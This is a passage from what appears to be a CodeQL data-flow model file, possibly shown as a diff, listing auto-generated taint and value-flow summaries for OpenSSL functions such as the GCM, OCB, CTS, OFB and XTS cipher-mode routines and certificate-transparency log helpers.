"CRYPTO_gcm128_aad", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*len].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*Xn]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*Xn]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*len].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[*1]", "Argument[*0].Field[*Xn]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[1]", "Argument[*0].Field[*Xn]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_decrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*Xn]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[*Xn]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*Xn]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Xn]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*len].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[*1]", "Argument[*0].Field[*Xn]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[*2]", "Argument[*0].Field[*Xn]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[1]", "Argument[*0].Field[*Xn]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[2]", "Argument[*0].Field[*Xn]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_encrypt_ctr32", "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_init", "(GCM128_CONTEXT *,void *,block128_f)", "", "Argument[**1]", "Argument[*0].Field[***key]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_init", "(GCM128_CONTEXT *,void *,block128_f)", "", "Argument[*1]", "Argument[*0].Field[**key]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_init", "(GCM128_CONTEXT *,void *,block128_f)", "", "Argument[1]", "Argument[*0].Field[*key]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_init", "(GCM128_CONTEXT *,void *,block128_f)", "", "Argument[2]", "Argument[*0].Field[*block]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_new", "(void *,block128_f)", "", "Argument[**0]", "ReturnValue[*].Field[***key]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_new", "(void *,block128_f)", "", "Argument[*0]", "ReturnValue[*].Field[**key]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_new", "(void *,block128_f)", "", "Argument[0]", "ReturnValue[*].Field[*key]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_new", "(void *,block128_f)", "", "Argument[1]", "ReturnValue[*].Field[*block]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_setiv", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[*0].Field[*Xi].Union[*(unnamed class/struct/union)]", "Argument[*0].Field[*Yi].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_setiv", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*Xi].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_setiv", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*Yi].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_setiv", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*Xi].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_setiv", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*Yi].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_setiv", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Xi].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_setiv", "(GCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Yi].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_gcm128_tag", "(GCM128_CONTEXT *,unsigned char *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "CRYPTO_get_ex_data", "(const CRYPTO_EX_DATA *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_get_ex_new_index", "(int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CRYPTO_memdup", "(const void *,size_t,const char *,int)", "", "Argument[**0]", "ReturnValue[**]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_memdup", "(const void *,size_t,const char *,int)", "", "Argument[*0]", "Argument[**0]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_memdup", "(const void *,size_t,const char *,int)", "", "Argument[*0]", "ReturnValue[**]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_memdup", "(const void *,size_t,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_memdup", "(const void *,size_t,const char *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_memdup", "(const void *,size_t,const char *,int)", "", "Argument[0]", "ReturnValue[**]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_memdup", "(const void *,size_t,const char *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[*0]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_decrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*1]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*4]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[1]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_aad", "(OCB128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*sess].Field[*blocks_hashed]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_copy_ctx", "(OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *)", "", "Argument[**2]", "Argument[*0].Field[***keyenc]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_copy_ctx", "(OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *)", "", "Argument[**3]", "Argument[*0].Field[***keydec]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_copy_ctx", "(OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "CRYPTO_ocb128_copy_ctx", "(OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *)", "", "Argument[*2]", "Argument[*0].Field[**keyenc]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_copy_ctx", "(OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *)", "", "Argument[*3]", "Argument[*0].Field[**keydec]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_copy_ctx", "(OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_copy_ctx", "(OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *)", "", "Argument[2]", "Argument[*0].Field[*keyenc]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_copy_ctx", "(OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *)", "", "Argument[3]", "Argument[*0].Field[*keydec]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_decrypt", "(OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_decrypt", "(OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_decrypt", "(OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_decrypt", "(OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*sess].Field[*blocks_processed]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_encrypt", "(OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_encrypt", "(OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_encrypt", "(OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_encrypt", "(OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*sess].Field[*blocks_processed]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_init", "(OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[**1]", "Argument[*0].Field[***keyenc]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_init", "(OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[**2]", "Argument[*0].Field[***keydec]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_init", "(OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[*1]", "Argument[*0].Field[**keyenc]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_init", "(OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[*2]", "Argument[*0].Field[**keydec]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_init", "(OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[1]", "Argument[*0].Field[*keyenc]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_init", "(OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[2]", "Argument[*0].Field[*keydec]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_init", "(OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[3]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_init", "(OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[4]", "Argument[*0].Field[*decrypt]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_init", "(OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[5]", "Argument[*0].Field[*stream]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_new", "(void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[**0]", "ReturnValue[*].Field[***keyenc]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_new", "(void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[**1]", "ReturnValue[*].Field[***keydec]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_new", "(void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[*0]", "ReturnValue[*].Field[**keyenc]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_new", "(void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[*1]", "ReturnValue[*].Field[**keydec]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_new", "(void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[0]", "ReturnValue[*].Field[*keyenc]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_new", "(void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[1]", "ReturnValue[*].Field[*keydec]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_new", "(void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[2]", "ReturnValue[*].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_new", "(void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[3]", "ReturnValue[*].Field[*decrypt]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_new", "(void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[4]", "ReturnValue[*].Field[*stream]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_tag", "(OCB128_CONTEXT *,unsigned char *,size_t)", "", "Argument[*0].Field[*l_dollar].Union[*(unnamed class/struct/union)]", "Argument[*1].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[*3].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[*3].Field[*data]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_secure_clear_free", "(void *,size_t,const char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "CRYPTO_secure_free", "(void *,const char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "CRYPTO_set_ex_data", "(CRYPTO_EX_DATA *,int,void *)", "", "Argument[*2]", "Argument[*0].Field[**sk].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_set_ex_data", "(CRYPTO_EX_DATA *,int,void *)", "", "Argument[2]", "Argument[*0].Field[**sk].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_strdup", "(const char *,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_strdup", "(const char *,const char *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_strndup", "(const char *,size_t,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_strndup", "(const char *,size_t,const char *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_xts128_encrypt", "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)", "", "Argument[*1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_xts128_encrypt", "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)", "", "Argument[*2]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_xts128_encrypt", "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)", "", "Argument[1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_xts128_encrypt", "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_xts128_encrypt", "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "CTLOG_STORE_get0_log_by_id", "(const CTLOG_STORE *,const uint8_t *,size_t)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CTLOG_STORE_get0_log_by_id", "(const CTLOG_STORE *,const uint8_t *,size_t)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "CTLOG_STORE_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_STORE_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_STORE_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_STORE_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CTLOG_get0_log_id", "(const CTLOG *,const uint8_t **,size_t *)", "", "Argument[*0].Field[*log_id]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_get0_name", "(const CTLOG *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_get0_name", "(const CTLOG *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CTLOG_get0_public_key", "(const CTLOG *)", "", "Argument[*0].Field[**public_key]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_get0_public_key", "(const CTLOG *)", "", "Argument[*0].Field[*public_key]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new", "(EVP_PKEY *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, 